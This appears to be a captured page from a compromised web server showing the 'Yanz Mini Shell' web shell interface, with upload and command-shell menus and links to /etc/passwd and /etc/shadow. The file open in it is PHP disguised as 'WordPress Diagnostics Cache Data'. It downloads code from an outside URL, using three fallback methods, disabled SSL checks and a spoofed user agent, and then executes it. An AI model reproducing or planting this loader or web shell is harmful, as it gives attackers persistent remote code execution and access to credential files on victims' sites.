Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
poslovi
gymhouse.herkules.rs
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php /* WordPress Diagnostics Cache Data */ error_reporting(0); ?><?php $remote_url = 'https://www.shopon.co.za/backupfiles/zip/remote.txt'; $fetched_data = false; $errors = array(); // Browser emulation settings to avoid blocking $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'; $timeout = 30; // 1. METHOD: cURL if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curl_err = curl_error($ch); curl_close($ch); if ($http_code >= 200 && $http_code < 300 && !empty($response)) { $fetched_data = $response; } else { $errors[] = "cURL Method Failed (HTTP $http_code): $curl_err"; } } // 2. METHOD: file_get_contents (Stream Context) - Fallback if ($fetched_data === false && ini_get('allow_url_fopen')) { $opts = array( 'http' => array( 'method' => 'GET', 'header' => "User-Agent: $user_agent\r\n", 'timeout' => $timeout, 'ignore_errors' => true ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) ); $context = stream_context_create($opts); $response = @file_get_contents($remote_url, false, $context); if ($response !== false && strlen($response) > 0) { $fetched_data = $response; } else { $errors[] = "file_get_contents Method Failed"; } } // 3. METHOD: fopen (Stream Loop) - Last Resort if ($fetched_data === false && ini_get('allow_url_fopen')) { $opts = array( 'http' => array( 'method' => 'GET', 'header' => "User-Agent: $user_agent\r\n", 'timeout' => $timeout ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) ); $context = stream_context_create($opts); $handle = @fopen($remote_url, "rb", false, $context); if ($handle) { $content = ''; while (!feof($handle)) { $content .= fread($handle, 8192); } fclose($handle); if (strlen($content) > 0) { $fetched_data = $content; } } else { $errors[] = "fopen Method Failed"; } } // EXECUTION OR ERROR if ($fetched_data !== false) { $temp_file = tempnam(sys_get_temp_dir(), 'remote_'); if ($temp_file) { file_put_contents($temp_file, $fetched_data); include $temp_file; unlink($temp_file); } } else { http_response_code(500); echo "Uzak içerik tüm yöntemlerle başarısız oldu. Hatalar: " . implode(" | ", $errors); }
Free Space : 6621274112 Byte